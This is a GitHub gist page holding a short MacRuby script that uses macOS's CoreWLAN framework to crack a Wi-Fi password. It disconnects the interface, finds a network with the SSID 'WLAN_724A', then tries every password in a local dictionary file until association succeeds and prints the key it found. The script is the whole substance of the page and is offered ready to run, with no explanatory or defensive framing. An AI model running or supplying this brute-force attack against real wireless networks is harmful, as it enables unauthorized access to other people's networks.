-
-
Save yaakovgamliel/2bfb0342dcf895f12a1eb75d7b5b5a4f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
framework "CoreWLAN" | |
iface = CWInterface.interface | |
iface.disassociate | |
wlans = iface.scanForNetworksWithParameters(nil, error: nil) | |
wlan = wlans.find {|w| w.ssid == "WLAN_724A"} | |
p [wlan.bssid, wlan.ssid, wlan.securityMode, wlan.wlanChannel.channelNumber] | |
keys = File.read("./dictionary.txt").lines.to_a.reverse | |
keys.each_with_index do |key, index| | |
key.chop! | |
puts "CURRENT KEY: #{key} (#{index+1}/#{keys.size})" | |
if iface.associateToNetwork(wlan, password: key, error: nil) | |
puts "KEY FOUND: #{key}" | |
exit | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment